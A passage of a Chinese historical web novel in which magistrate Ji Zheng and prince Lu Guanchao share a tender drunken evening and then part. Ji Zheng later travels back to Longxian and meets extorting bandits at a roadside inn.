季铮笑着劝姜行歌,“陇县也有许多有趣之地,你有机会来了,我请你去玩。” 姜行歌看他还安慰自己,更过意不去了,他低声道,“你等着,我再劝劝我父亲,叫他换个好办法。” 季铮推他上车,“好了,快些回去歇息吧,没喝多少就已经醉了。” 王尚书要等季铮一起走,季铮和他说了醉酒想醒醒酒自己走回去,王尚书便也不硬劝,自行离开了。 季铮一个人在月光下晃悠,街上不像上辈子有路灯,只有一弯月亮。 哦,还有运气不好时闪身出来打劫的劫匪。 身后忽然冒出一个影子,季铮心道不会说什么来什么,真出来一个劫匪吧。 下一秒,影子快走几步到他身边,熟悉的声音传来,“为什么不等等我。” 季铮苦笑不得,“吓我?” “本来是想吓的。”陆观潮轻咳一声。 可是又看到季铮的背影好可怜,可怜得他心碎,想赶紧抱一抱,也就打消了欺负人的想法。 季铮牵起陆观潮手晃了晃,解释道,“方才姜太傅叫我见了见。” “姜太傅,那个老木头人?” 季铮难得主动亲昵一回,陆观潮心生舒畅,慢悠悠的朝季铮挪了一步,两人的肩膀紧挨着。 月光下仿佛连在一起似的。 季铮笑了,“你别这么说。” “好吧。”陆观潮问,“他和你说什么了?” 季铮便把姜太傅说的一五一十和陆观潮说了一边。 说罢,陆观潮沉思了会,蓦然抬头,脑袋靠在季铮肩上,闷闷不乐问 ,“我总缠着你不让你走,你会不会烦我?” “又多想了。”季铮逗他,“我还没说话呢,你就这么想,那我要是说个是字,你该不会就要跳水了?” 陆观潮继续道,“就算你烦我,我也要缠着你。” 这话实在不像陆观潮的作风,季铮停下步子,去看陆观潮的脸,果然看到满脸绯红。 他惊道,“陆观潮,你喝醉了。” 陆观潮身上是有酒味,他只当有人敬酒,可陆观潮这名号摆着,谁敢敬酒?总不能是自己喝闷酒喝醉了吧。 “没有。”陆观潮眯起眼,垂眼盯着季铮看,“我没喝醉。” 他垂下眼,有那么一瞬间乖巧极了。 季铮捏了一把陆观潮的脸,陆观潮愣愣的发呆,像是还没弄懂是谁捏的自己。 季铮笑他,“喝醉的人都会说自己没醉。” “哦。”陆观潮点头,“那我醉了。” 季铮笑得直不起腰,陆观潮还不知道哪的事,弯腰看季铮,呆呆的问,“季铮,你笑什么啊。” “你别,别说了。”季铮一看到他的脸,就更想笑了,蹲在地上就差打滚了。 陆观潮也跟着他蹲下,很认真的说,“季铮,你也喝醉了。” 季铮摇着头,“我没有。” “醉了。”陆观潮拿他的话堵回去,“喝醉的人都会说自己没醉。” 季铮捂着肚子,“那是骗你的,我没醉。” “你就是醉了,还不承认。”陆观潮不开心了,“我都承认了。” “因为你傻啊。” 陆观潮捧着季铮还在大笑不止的脸,捏了回去,反驳道,“我不傻,你才傻。” 两人一路笑闹回晚来风,直到进房间里,陆观潮还在一个劲的说“我不傻。” “好,你不傻。”季铮扶着桌子坐下,揉着笑得生疼的后腰,算是服了陆观潮了,顺着他说,“陆观潮不傻,季铮傻,行不行?” 陆观潮还不满意,他道,“季铮也不傻。” 季铮含着笑意的嘴一顿,他重复一遍道,“季铮也不傻。” 陆观潮可算是掰过来了,他坐到季铮身边,身子一歪趴到桌上睡着了,手还紧紧拉着季铮的衣袖不放。 那只海东青圣上托人给他送来了,就在屋内摆着,它睁着眼,一副无辜的模样,丝毫看不出来在御花园时的凶残样子。 发觉季铮的目光,委屈的咕咕叫了一声。 季铮敲了系统,“达成一鸣惊人有没有奖励?” 系统转了一会,【没有呢,不过宿主收复猛禽海东青,可以申请另外奖励。】 正经任务没有奖励,救了只鸟有,这奖励机制怕不是缺根筋。 隔了一会,系统又跳出来,【申请成功!奖励:治愈可爱的海东青,叮当~】 好草率的申请。 季铮都懒得笑了,点了确定,一瓶药落到他手里。 玉质小瓶,季铮晃了晃,大概时两次的量。 陆观潮扯着他,季铮小心翼翼的把袖子拽出来,去给这海东青上药。 海东青见有人靠近,向后躲着。 季铮一手拿着药瓶,一手端着烛台,打开笼子已经做好了这海东青再发怒的准备。 不料海东青一动不动,眼都不眨的,直愣愣的看着季铮给他上药,有点傻。 和陆观潮喝醉了一样傻。 季铮看了会换好药的海东青,道,“你被我养了,总得有个名字。” 海东青歪头,听不懂他说的什么。 “明天就是除夕了。”季铮道,“你就叫除夕吧。” 如果除夕能听懂,一定会骂他敷衍。 69.第 69 章 “秋茹!” 秋茹正在太阳底下练刀,骤然听到有人叫她,回头去看才发现是赵德。 她撂下长刀,活动了筋骨,带这些被打断的不悦道,“怎么了?” 赵德本来就生气,看她这吊儿郎当的模样更是气不打一处来,质问道,“你怎么办的事?” “我怎么了?”秋茹不明所以,“你一大早的,朝我发什么脾气,我招你惹你了。” 赵德这么好脾气的人,也有了几分火气,他道,“殿下让你换海东青,你换了?” 秋茹正气凌然,“换了啊。” “你这叫换了。”赵德眼前发昏,“你把殿下的换到女眷那的算换了?” “殿下没受伤不就好了。”秋茹不改其色,“反正也没人发现。” 赵德道,“那是有季县令出手救人了,你可知姜氏二女什么身份,被钦定的未来皇后,若她出事,圣上彻查下去,还会连累殿下。” 秋茹撇嘴,转而又想起别的事,“我正要问你呢,那季县令什么身份,殿下这么看重他?” “你管人家做什么。”赵德依旧说海东青的事,“要不是季县令出口要下海东青,圣上私下一查,发现下了药的海东青这在,定会起疑。” 海东青又不是谁的玩具,让咬谁咬谁,圣上提早令人给这只海东青下药。 陆观潮知道后,便让他们换掉,以防人受伤,秋茹倒好,换下是换下了,换到女眷那了。 殿下的意思哪是怕他本人受伤,分明是怕牵扯无辜之人。 “她们想看,我就拿去了。”秋茹皱眉,又道,“谁知道圣上这么心狠手辣,下了如此多剂量,还真就是想害死殿下?” 赵德长叹一口气,“圣上与殿下之间恩怨,岂是你我能看出来的。” 崔伯崖逛了一圈遛过来,“你们说什么呢?” “说昨日的事。”秋茹问道,“所以那季县令到底是个什么神奇的人?” 崔伯崖没在现场,只听说要换鹰,不懂为何冒出来一个县令,疑惑问,“季县令是谁?” “季县令啊。”秋茹看他也感兴趣,凑过去把那日的事讲了一遍,转而道, “他好像是殿下看重的人,那季县令射伤海东青的弓箭,是殿下亲自夺了丢过去的。” 崔伯崖瞪大双眼,“当真?” “真!比金子还真!”秋茹拍着胸脯保证,“我亲眼所见!” 崔伯崖看向赵德,“统领,这到底是何方神圣,咱们殿下不是一向冷心冷血,不把所有人的命放到心上,怎么格外照顾这个小小县令?” 他一拍脑袋,又想起来什么,道,“我听闻了,这县令名声不浅,据说昨日一位大人当着圣上的面为起取字,就这圣上都没发火!” 两日齐刷刷的看向唯一可能知道内情的赵德。 “我怎么知道。”赵德被看的心一慌,“我只知道,殿下很敬重这位县令,曾在陇县时被他所救,想来是救命之恩吧。” 秋茹“切”了一身,“哄孩子的话就别用来骗我们了,殿下几时顾忌过这些。” 毕竟,她还看到,事后自家殿下和那县令一起离开呢。 崔伯崖又问,“那个看管海东青的太监如何了,我只听闻他被拉去慎刑司了。” “死了。”赵德道,“圣上让他下毒,本就没想留他性命,这出了差错,连抚慰金也没了。” 崔伯崖和秋茹一对视,谁也没说话。 除夕,宫中昨夜办了寿辰,今日便不再办除夕夜宴了,给朝臣放了几天假算了,陆观潮不急着回府,一觉睡到自然醒。 长街上偶尔传来几声爆竹声,孩童嬉笑着打闹。 陆观潮清醒时,脑中一个劲的发昏,他睁开眼,面对着床帐发了会呆,意识慢慢回笼,才回忆起自己昨天晚上说的荒唐话,顿时燥红了脸。 他转头,季铮就躺在他身边,闭着眼睡得正香。 陆观潮转身面对着季铮,也不动,就这么看着季铮的脸,耳边窗外热热闹闹的,就像是…… 就像是,他和季铮不过寻常人家,昨夜一起喝了小酒,舒舒服服的睡到日上三竿,再一同起床购置年货。 陆观潮想着想着,嘴角勾起一个笑来。 清醒后,他不免思考起季铮昨夜那番话。 姜太傅说的不无道理,季铮不能再在大都久待,不然不等朝臣看不惯,陆泽就先出尔反尔,看人不顺眼了。 可惜了,陆观潮还想除夕之后,留季铮到正月一起吃元宵呢,这下季铮顶多过了除夕就得走。 想到这,陆观潮还是舍不得,这才见面没几日怎么又要分开了。 他伸出手指戳了下季铮,还记得昨夜他是壮着胆子捏了季铮一把,他手劲大,还好没捏红了。 季铮眼皮一颤,缓缓睁开眼,陆观潮的脸包括他还在季铮脸上戳着的手指,一并闯入眼中。 “陆观潮。”季铮没动,还没彻底醒过来,语调黏黏糊糊的,“你干什么不叫醒我。” 陆观潮喉结滚动一圈,他道,“我忘了。” 季铮笑了,“这也能忘?你以后可别喝酒了,你上次喝醉了就说胡话,这次喝醉也是,总说些让人心烦意乱的话。” “我说的都是实话,”陆观潮眨眼,又凑近季铮,“你不喜欢?” “喜欢。”季铮笑道,“喜欢死你了。” 陆观潮也跟着他笑出声,“我也喜欢你。” 他还不习惯说这些明目张胆的情话,声音低到只有自己能听到, 季铮却听出来了,他装作担心,“哎呀,这是还没醒酒吗?” 陆观潮凉凉的看他一眼。 笼子里的海东青扑闪着翅膀发出声响。 季铮有些发愁,“这东西吃什么?” 白日里总有臣子来宴请季铮,季铮听了姜太傅的建议,借口身子不适回绝,连传信的小厮都不见。 最后干脆直接撂下开溜,陪着陆观潮在大都逛了一圈。 陆观潮形象太深入人心,只好遮面出行,十分不自然,几次吐槽还不如在陇县时。 季铮买了些礼物带给季秧几人,算着马车地方没敢添置太多。 迎着陆观潮眼巴巴的目光,季铮也给陆观潮选了几件礼物。 其实不用陆观潮表现,季铮看什么都会想到陆观潮,自然什么都忍不住买给他。 只不过是陆观潮付的钱罢了。 临近傍晚,季铮才回晚来风坐下,刚给海东青换好药,就听门外有人传口信。 “季县令,您在忙吗?” 季铮以为是又来邀约的,当下就要胡诌自己病了。 又听外面的人道,“若是无事请走一趟吧,圣上召见。” 季铮和陆观潮对视一眼。 这陆泽要干什么?! 宫内比起他上次来没变化,只有炭盆烧的更烈了,透过来丝丝暖意。 这回,小太监多了几分谄媚,笑道,“圣上一到冬雪天便畏冷,每每都要多点几个炭盆,我们这些奴才也享福了。” 季铮抬头看了看天,寒风穿堂呼啸而过,头顶阴云密布,看来是要下一场雪。 “季县令在此等候。”小太监通报完回来道,“圣上道批过这一份折子就传唤。” 他在寒风里吹了小半个时辰,冻得耳朵都没知觉了,圣上才派人叫他。 季铮搓了搓手,呼出一口白气,随着太监进殿。 圣上依然是那个圣上,圣宸宫依然是那个圣宸宫,可季铮总觉得哪里变了。 他照例请安,圣上笑着免礼,仿佛那个故意晾着季铮的圣上不存在一般。 陆泽道,“明日便要走了?” “是。”季铮身子渐渐回暖,道,“本来是要今日走的,可清晨偶感风寒,才耽搁了一日。” 他说着,应景的打了声喷嚏。 还是不能乱说话,风寒是为了哄弄别人胡编的,没想到真在他身上灵验了。 圣上摆出一副焦急的表情,“快请李太医来,为季县令诊治。” 季铮还没拒绝,小太监就下去了,不过几步路的功夫,就把李太医请来了。 李太医捧着药箱,环视一圈,看到季铮后明显一愣,脱口而出,“季铮?” 季铮心里一凉,这个时候蹦什么熟人啊,还是个他不认识的熟人。 “爱卿与李太医认识?”陆泽问道。 李不言道,“我与季铮乃是同乡,自可惜我年少游医四方,已有多年没与季铮见面了。” 宫中御医,姓李,同乡,季铮立刻猜到是李当归在外行医的哥哥。 季铮咳嗽几声,随坡下驴,“李太医,好久不见了,你家小妹在大都如何。” “她一切都好。”李不言果然没起疑,忙道,“我先为你看看病。” 李不言看后,回禀圣上道,“并无大碍,吃几副药便好。” 陆泽点头,“那就好,叙旧的话你们稍后再聊,朕与季县令有话要说,先下去吧。” 李不言千言万语说不出去,退下开药了。 人走后,陆泽似笑非笑道,“季卿认识的人还真不少。” 季铮没狡辩,“可能是借了圣上寿辰行冠礼,蹭了些运气,碰上旧友了。” “不知你可认识……” 陆泽看着季铮的脸,继续问,“我皇弟?” 季铮眉头一挑,“珏王殿下?惭愧,臣并未说得上话。” “你与他同在陇县。”陆泽追问,“当真没见过。” “见过的。” 季铮真诚道,“在县令府匆匆见过一面,当时不知是珏王殿下,后来在圣上寿辰上,听了几句珏王遭遇,有看着身形才辨认出。” 陆泽又盯着他看了一会,没看出不对的地方,展颜道, “无妨,爱卿明日,可要注意避寒,慢些便慢些,注意身子,可要再留几日?” 季铮回绝道,“圣上好意,臣不敢不从,可臣不在陇县一日,便一日不得安宁,陇县冬日难熬,百姓都还等着臣回去。” 陆泽道,“你眼里就只有陇县百姓了不成?” “不仅仅是陇县百姓。”季铮道,“天底下的百姓臣都想放在眼里,只不过装不下而已。” 陆泽被他逗笑了,“为官者,就要如此。” “朕也听说了陇县情况。”陆泽略一沉吟,道,“那董何维抄家抄出多少银两,朕都过目了,陇县百姓日子难过,你要如何?” 季铮斩钉截铁道,“自是贴补。” 陆泽凝眉,“陇县几百几千户,你一个怎么救济?朕给你批银子,你那点俸禄哪里够。” 不亏,虽然冻了一圈,但捞了一笔银子。 季铮利落的替陇县百姓谢主隆恩,在陆泽笑骂声中告退。 没走几步,李不言跟上来。 他道,“许久未见,不想生员已是县令大人了。” 季铮也道,“太医大人何必取笑我。” “你做县令我更放心。”李不言又道,“当年你考中生员与我传信,我便知道你能成。” 季铮嘴上笑着回应,心里却不明白,原身这么个迂腐的人,还能交上朋友? 真是奇了。 两人还没说几步,小太监小跑着追上来。 “李太医,圣上有请。” 李不言点头,从怀里取出才写好的药方交给季铮,叮嘱道,“记得吃药,我先走了。” 季铮看着他跑出去两步,又回头朝他招手道,“来日再见。” “来日再见。” 季铮也招招手,手中的药方还温热。 他感觉到脸上一点冰凉,面前白雪簌簌落下。 又下雪了啊。 70.第 70 章 出宫门时,季铮一眼就看到那个形单影只的身影。 陆观潮立于雪里,似乎是在发呆,撑着伞不知在想什么。 季铮皱起眉,就要迎上去,才没走几步,就发觉自己这一身风雪实在不合适,怕陆观潮担心,他原地拍了拍身上的落雪,佯装无事发生一般走去。 他本来打算吓陆观潮一跳,不料在离人几步远的地方就被发现了。 陆观潮回头,和季铮对视,眨了眨眼。 季铮泄气,“反应真快,我还想吓你一跳来着。” “我没发现,你可以继续。”陆观潮自顾自背过身,等季铮吓他。 季铮嗤笑一声,也幼稚的拍了他一把,就见陆观潮极其刻意的一抖身子,惊呼一声转身, “季铮,你吓到我了!” 好浮夸的演技,季铮想起之前好像还想让陆观潮跟他回去当明星,这么看来,如果陆观潮真的去了,怕是会因演技太烂遗臭千年吧。 季铮笑道,“你装的很假。” “真的?”陆观潮怀疑自己片刻,忽的像是发现了什么,他神色一凌抓住季铮的手。 季铮一慌,下意识就要挣扎。 “怎么这么凉?” 陆观潮不容置喙的攥住季铮两只手,问道,“他晾着你了?” “有吗?”季铮随口扯理由,“或许是路上风刮的吧。” 陆观潮定定的看着季铮,“你的衣裳并不薄,一定是陆泽对不对?” 季铮沉默须臾,叹道,“我承认是他又能怎么样,他是圣上,不过是冻了会而已,有没缺胳膊断腿,没什么的。” 这个时代,皇位上坐的就是天,就是法,他想做什么就能做什么,他让你干什么,你便只能干什么。 即便要你即刻去死,也没有办法拒绝。 比如董何维,圣旨上清清楚楚写着经查属实,可到底派人查了没有,谁有知道呢。 所有人都这么想,董何维惹怒陆泽,死不足惜,也就没人管他是不是真干了这些事。 权势压人,季铮听过这个词不下百遍,可却是第一次真真切切的感受到这个词的分量。 有时候,圣上一句话,能不费吹灰之力的要了千千万万人的命。 甚至今日,季铮雪地等候多时,被一句批折子轻飘飘的揭过去,还要感谢他仁慈。 陆观潮憋得双目通红,半晌也没说出一句话。 他能说什么,他能干什么,难道要闯进宫豁出性命为季铮出气,难道对着季铮说来日如何如何的空话? 陆观潮都干不出来。 他只能看着季铮,将一颗心剖出来,对季铮说,等等我,再等等我,等我终有一日功成名就直捣黄龙,等我歼灭外敌给你铺路。 毫无用处。 钦天监的预言在此刻显灵。 陆观潮想,他真是还没用,一点也帮不上季铮。 连一个表字都是季铮自个争取来的,他想着,慢吞吞的捏了捏季铮的手。 季铮瞧出来陆观潮情绪失落,笑了笑,“这有什么值得难过的,快走了,我明天就要离开了,今天回去提前陪你吃一顿元宵。” “好。”陆观潮环住季铮,将伞稳稳搭在两人头顶。 这场雪格外大,长街霎时间白茫茫的一片,踩上去咯吱咯吱作响。 过了会,季铮道,“陆观潮,我喜欢一个东西,无论那东西如何,都会喜欢一辈子,人也是。” 陆观潮顿了一下,他点头,“我知道。” 他知道,他只是,觉得自己好像不与季铮般配。 季铮是大年初一清晨出发的,风雪还没停。 昨日陆泽已经召见暗示他了,他要是再拖下去,真该惹人起疑了,只是可惜没向大都认识的人告别。 白玉山倒无碍,老人家一点也不肯多留,寿辰结束当夜,收拾收拾骑驴上路了,第二日陆泽请白玉山入宫小叙,才惊觉早就人去楼空。 季铮和王介夫还通信,联系王长乐不成问题,就是姜行歌了,自己没应邀同他喝酒,也不知这小子会不会气他。 他想到这笑着摇了摇头,乘上马车,不知想到了什么,朝后看了一眼。 马夫问,“大人,可要启程了?” 季铮隐约看到一个小黑点,他看了会道,“走吧。” 怕陆观潮被发现,季铮不让他来送,陆观潮立在晚来风二楼,静静看着马车消失在漫天雪花中。 季铮带走了他所有颜色,陆观潮眼前一片灰白,生出来策马追上马车的冲动。 镇南候是初一傍晚到的,岭山候传信说风雪太大,被困在城外了,晚几日再回。 谁人不知他这个纨绔定是跑到什么地方游山玩水去了,这厮野性惯了,圣上都不愿意多理他,也没人管他。 不过这场雪确实不是时候,镇南候说起路上大雪时还冒着寒气。 幽州不稳定,叶萧禾便只带着张佴回来了。 张佴欲语还休的看陆观潮,只看的他心发毛,正经在担心季铮路上冷不冷的,又碰上张佴这玩意,顿时就想开溜。 叶萧禾道,“听闻殿下前些时候带了一个男子推举给苍山居士了?” “是。”陆观潮应道,“那就是我给您提过的陇县季铮。” 他说完,又不解道,“我私下带去的,居然传闻已出,侯爷听谁说起。” 叶萧禾饮下一口茶,“苍山居士。” 陆观潮,“……” 思索片刻,叶萧禾继续道,“那个天赋异禀,你格外看中的那个生员?” 陆观潮点头,“现在已经是县令了,他举报董何维有功,随王介夫参加圣上寿辰,我便引他和苍山居士相见了。” “苍山居士啊!”张佴听到这实在停不下去了,看样子要嫉妒哭了。 那可是苍山居士,做出与君书的一代帝师,他死也想与之探讨一番的人物,殿下就这么轻松的介绍给别人认识了! 张佴哭道,“殿下,我也想见苍山居士,什么时候给我引荐引荐。” 陆观潮白了他一眼,“等你改了一惊一乍的性格再说。” “不过。”叶萧禾奇怪道,“师父多年不收徒了,怎么会破例收下这孩子,还亲自取字行冠礼。” 他收到苍山居士手信时着实吓到了,没想到自己这年纪了,还多出来一个师弟。 信中白玉山对季铮极尽赞美,仿佛是什么天造地赋的灵秀。 这回又想起陆观潮传信说的种种事迹,陆观潮虽没与他多提,但叶萧禾也能看出陆观潮的重视,更加好奇这季铮是人是妖。 陆观潮道,“我只是引荐,并没劝动居士,是季铮他自己得居士欢心。” 张佴更嫉妒了,他愤愤不平,这等才智若他也有一份该多好! “神奇。”叶萧禾问,“我这小师弟在哪,可否一见?” 陆观潮遗憾道,“可惜,他今日一早回陇县了。” 叶萧禾追问,“回陇县了?你不是打算将他带到幽州,就这么让他走了?” “我自有办法。”陆观潮说起正事,“幽州情况怎么样。”

张佴道,“一切如常,辽军突袭几次失败后,到现在都还老老实实的,小打小闹上不了台面,不过芳芳是瘦了。” 芳芳,陆观潮养的猫,他想起那只格外肥硕的狸花就想笑。 叶萧禾道,“那猫肥的都不舍得动一步,是该瘦瘦身了。” 军中这种小玩意少有,又是殿下喂的,总有一些士兵瞧着可爱,偷着喂吃食,一不小心就喂成球了。 陆观潮没话反驳,便问,“在辽军的探子没说什么?” “没有。”叶萧禾严肃道,“他们接触不到深层,怨不得他们,只是我总觉得心慌,就怕他们闷声做大事。” 陆观潮也道,“的确奇怪,可圣上要扣留我们到三月份,若真有蹊跷,恐怕是给足了他们准备时间。” 叶萧禾深知这个道理,他呼出一口浊气,“你放心,我明日面圣,会再劝劝圣上的。” 他反应过来,问,“赵年这孩子呢?” “他啊。”陆观潮耸耸肩,“在赵副将家里挨训吧。” “他犯了什么事?” 陆观潮抿唇,半晌道,“没成亲?” 正说着,赵年在门外哎呦哎呦的敲门,“殿下,侯爷,属下来了。” 他进屋,果不其然,脚下悬浮着一瘸一拐的,丧着脸强笑道,“属下来玩了,母亲父亲罚我思过,实在没走开。” “胡闹。”叶萧禾道,“怎么能罚的这么重,我去理论。” 赵年连连摆手,“侯爷,您也不是不知道我父亲母亲的脾气,今天说的好好的,明天就下手了,殿下已经劝过了,我还是再忍忍回幽州吧。” 再提及幽州,叶萧禾道,“来年我便不会幽州了,虎符在此殿下收好。” 陆观潮接过虎符,“侯爷还要回江南道?” “不错。”叶萧禾道,“我出来不短了,总得回家看看。” 陆观潮听罢,心道,他也想回家看看。 彼时圣宸宫。 陆泽披着大氅批折子,问福寿禄道,“季铮呢?” “回圣上。”福寿禄答道,“一大早就已经回陇县了。” 陆泽看了看日头,没说什么,又道,“王介夫如何了?” 福寿禄还真不知道,他道,“奴才不知,许是还在工部尚书府中吧。” “一直待下去也不是个事。” 福寿禄腰弯得更深了,“圣上的意思是……” 陆泽看着折子上的名字,道,“召礼部尚书黄狄。” “季县令,停下来歇歇吧。” 几人已经行出去几日,雪早就停了,路上都是冰溜子,滑的很,两人行的很慢。 季铮闻言下车,抬眼望了望道,“哪有一家客栈,去问问可有空房,今日就先在这歇脚吧。” 马夫一点头,跑过去询问,还不晚回一句,“好嘞!县令您先等等,我马上回来。” 这马夫姓陶名疆,据他说是战场退役的兵,有些坡脚,季铮那日去找马夫,他自告奋勇,因此结缘。 陶疆虽腿脚不便,但却很麻利,季铮说的事办的漂亮,没说的也都想到了,一路上有他相伴倒解乏了。 季铮活动了一下胫骨,打开怀里的信,自从大都出发后,他怕季秧想他,先寄出了几件礼物,这回回信已经到了。 季秧在心里先是说礼物很喜欢,又说了说陇县现况,季铮心里大致有了个底,他收起信,忽听有人叫他。 “季县令——” 季铮抬眼去看,一人驾着马车,车窗冒出个人,正向他招手。 71.第 71 章 马夫欲哭无泪,“黄大人,您小心点吧,这雪地路滑的,可别再栽下去了!” 待马车靠近,季铮看清那人,才认出是谁。 竟是礼部侍郎黄狄,寿辰那日见过一面,比他稍年长些,老父老母和妻子都在朔州老家。 “黄大人?”季铮不解的拜了拜,“您怎么也来了。” 马车停下,黄狄兴冲冲的跳下马车,走来与季铮相见,“说来话长,总算是赶上季县令,我也要去陇县,一起上路吧。” “是。”季铮向后一步,给黄狄看身后的客栈,“我遣人去问了,天色不早了,便到哪里落落脚。” 这话一出,黄狄的马夫顿时露出一副感激不尽的表情。 他道,“县令大人有所不知,我家大人为了赶上路程,已经连着两三日在半道休息了。” 季铮惊道,“这荒郊野岭,又是大冬天,黄大人可无碍?” 黄狄摆摆手,不以为意,“无事无事,我们穿的厚。” 这时陶疆过来汇报,“大人,还有空房……啊,这位大人是?” 他打眼看到多出来两人,从穿着和季铮的态度猜出应当也是一位大人和马夫,恭敬的点头哈腰。 季铮介绍道,“这位是礼部侍郎黄大人。” “我已经不再是侍郎了。”黄狄叹了口气,又问,“这位小兄弟,这件客栈有几件空房?我们进去说。” 季铮拎起车里的关海东青的笼子,黄狄吓了一跳,弄明白是圣上赏赐的,看这畜生还算乖巧,慢慢的也就不害怕了。 只不过他拎着除夕进客栈时还是引起一时关注,除夕性笨,离了人就叫唤,十分难听,季铮不得已才随身带着。 这件客栈在官道上,一般接待往来商队,这年关刚过,大多是离家跑商的商人。 客栈内人来人往,还好几人来得早,恰好剩四间房。 陶疆和黄狄的马夫停马先回房了,季铮边和黄狄在大厅坐下,点了些饭食。 季铮问,“大人说不再做侍郎了,是为何?” 他还猜测黄狄是不是被罢官了,不过又想这人的老家也不在陇县,叫他大人也没反驳,这短短几日也不至于犯大错,便拿不准意思了。 “别提了。”黄狄说起这个满脸惆怅,“你在路上自然不知消息,圣上将我调职,我如今替上王大人,任云州节度使。” 陇县在云州中心,节度使的官府自然在那,怪不得要和季铮同路。 季铮劝道,“好事啊黄大人,陇县离朔州不远,您可以将父母妻儿接来了。” “也对。”黄狄这心情来得快去得也快,当下,又喜气洋洋的向季铮敬酒,“来日我们在一处共事,也相互有个照应。” 季铮和他碰杯,“照应是应该了,但黄大人可某要因我与您相识,来日就网开一面。” 黄狄乐了,“头一回遇这好事不攀关系的,我黄秋良说一不二,县令可得小心了。” 季铮又与他讲了讲董何维落下的烂摊子,比如流寇繁多,乞丐遍地,百姓尚且还算安定,只是董何维做出这么多恶事,总要费心费力安抚。 也道了县令府的下人都被他出钱安置了,现下无人可用,董何维旧时眼线不明,留着都是祸害,要赶紧一一找出。还需黄狄帮忙。 黄狄头疼不已,直道自己想少了,这可不是个好当的差事。 天色渐暗,一阵寒风袭来,门外走进三四个汉子,大厅热闹的交谈声停了。 季铮回首看去,却看到一个眼熟的人。 他不确定的唤了一声,“连大哥?” 汉子中的一个闻声看过来,看到季铮也是一喜,“季老弟?!” 为首的人瞧了一眼,问,“和盛,认识啊。” “是,我那日跑镖认识的小兄弟,和大哥说过的。”连和盛见到熟人,自然往他这里走,“季老弟,这是我大哥。” 四季镖局在游商之中地位不低,客栈显然认得,早听闻他们经过,专门给他们留了房。 一个汉子过去登记,连和盛与他大哥过来,大厅又恢复吵闹。 和连和盛不同,他这大哥倒不魁梧,反而一股文弱书生的模样,朝季铮一颔首,“早有耳闻,那这位就是当日与您的同伴?” 连和盛奇怪那男人咋没跟着,但也没多想。 季铮反应过来他说的是陆观潮,解释道,“并非,这是……” 他看了黄狄一眼,见其没有反感的意思,继续说,“这位是云州新任节度使黄大人。” “黄大人。”季铮给黄狄讲道,“这是四季镖局的二当家连和盛,这是大当家。” 大当家听到面前是节度使,也没有别的神色,平静点头道,“我姓兰,兰屿维,见过黄大人。” 黄狄起身叫两人坐下,道,“我听王大人说起过,往后规矩照旧,这段时间云州的匪情……” 另一边,连和盛看到什么,倒吸一口凉气,“这是什么?” 除夕在笼子里瞪着连和盛,有系统的灵药,它现在翅膀上的伤完全好了,被季铮喂得油光水滑,羽毛都靓丽不少。 季铮笑道,“我养的海东青,叫除夕。” “海东青凶狠,季老弟怎么养这么个玩意。”连和盛还是怕,直到季铮把它放到另一边才敢坐下。 季铮手指逗了逗笼里的海东青,“这小东西笨,没关系的,只是不知连大哥和兰老板也从这过?” 兰屿维道,“这次货物少,没带多少弟兄,本来要今日不歇息连夜赶路的,却得知有一波土匪要往这边来,这才找地方停一停。” “土匪?”黄狄追问,“这波土匪是什么来历可知?” 连和盛道,“云州的土匪大多是山上的猎户围聚,许是过了年缺粮,这才来势汹汹。” 这件客栈已在云州地界,再走一日就是陇县,周遭环山,山上猎户居多,缺钱少粮的,本就容易集生匪情,又加上陇县有董何维这么个不管事见钱眼开的县令,愈发严重。 大大小小的土匪窝不胜其数,要想真正根除,可得费一番功夫。 真是说什么来什么,他们正说着,门外“砰”的一声巨响,客栈大门被人踹开。 接着,走进来一群吊儿郎当的大汉,约莫十来人,其中不乏还没长成个子的少年。 季铮眉头一皱,这么小的孩子,都被逼为匪了,黄狄惊得站起,“这不会就是那群土匪?” “妈的,还真来了。”连和盛骂了一句脏话。 兰屿维还有心思喝酒,语气稀疏寻常的像是在说这杯酒味道不错,“是的,运气不好,这大概是碰上头头了。” 黄狄:…… 季铮苦笑一声,低声问道,“他们此番是为了钱粮,应该不会为难吧。” 兰屿维摇头,“这就不一定了 。” 黄狄就差拍桌痛哭了,暗道自己的运气咋这么衰。 那边领头的人一摆手,手底下的纷纷围住各桌客人,季铮他们这桌也来了一个,看模样还年轻,不过十五六岁的样子。 季铮问他道,“小朋友,能问问你们打算要多少钱吗?” 小少年目不斜视,一本正经道,“再多嘴,我就割掉你的舌头下酒。” 说着,还显摆了一下自己腰间别着的弯刀。 “哈哈。”季铮笑眯眯道,“好的,我闭嘴。” 店小二毕恭毕敬的走到领头面前,“这位大爷,今日打算收多少。” 哟,收贿赂收的这么理所应当? 那领头的显然不是善茬,他环视一圈,见这么些商人,动了歪心思道,“你的照旧,在座的都是有钱人,掏出五十两不成问题不。” 店小二焦头烂额,“大爷,这规矩是只收贿,不抢客人啊!” 领头的“呸”了一声,“我可不管什么规矩不规矩的,老子只认钱,有钱拿钱。” “没钱的。”他目光阴冷,“拿命来抵吧。” 五十两,普通人家一辈子也挣不到五分之一,这人倒轻巧,张口就是五十两。 领头身边的一人小心翼翼问,“头,咱不能硬抢啊。” “放屁。”领头的丝毫不听劝,“我是谁,谁家土匪好商好量的?” 他这么骂,那人也不敢说什么了,瑟缩一下回去了。 这还没出正月,在这个时间不和家人团聚,跑出来跑商的都是贫苦小商户,把他们卖了也没有这么多。 这不,一个七老八十的老商户杵着拐杖颤颤巍巍站起来,“我年纪大了,身上没钱,就这二十两银子,是全身的家当了……” 领头瞟了一眼,一脚踹上去,“没钱还有脸说话,二十两还补不够你爷爷我喝酒,你个老家伙敢拿着点糊弄我。” 老商户匍匐在地,手里的碎银子散落一地,没人敢捡,当然也没人敢扶他,他摔得哎呦直叫,半晌站不起来。 四下还悄悄议论的商户,顿时没了声音。 季铮眯起眼,已经维持不住体面的表情,他盯着那嚣张的领头,咬了咬牙,就要上前。 一边兰屿维给了季铮一个眼神,伸手把他拉回来。 兰屿维小声道,“忍一忍风平浪静,大人莫要管闲事。” 季铮只得忍住脾气坐回去。 “你们别给我耍心眼。”领头撂下狠话,“能拿出银子的,可以走,拿不出的,把你们的妻子孩儿叫来抵债。” 欺人太甚。 商户不服气,却不敢声张,个个憋得脸发绿,身上带够钱的捏着鼻子认了,有自知还不上,面如死灰。 领头见没人反驳了,终于满意了,让手底下人挨个收。 季铮这一桌各交了各的钱,他看了眼被逼着说自己家住哪里的老商户,老商户呜咽着说家里只有一个孙子了,还是没狠下心。 正要开口说自己替那位老商户付了。 就见一个商户捧着银子,哀求道,“我娘病了,指着这银子救命,各位大爷行行好,给我留几个子吧。” 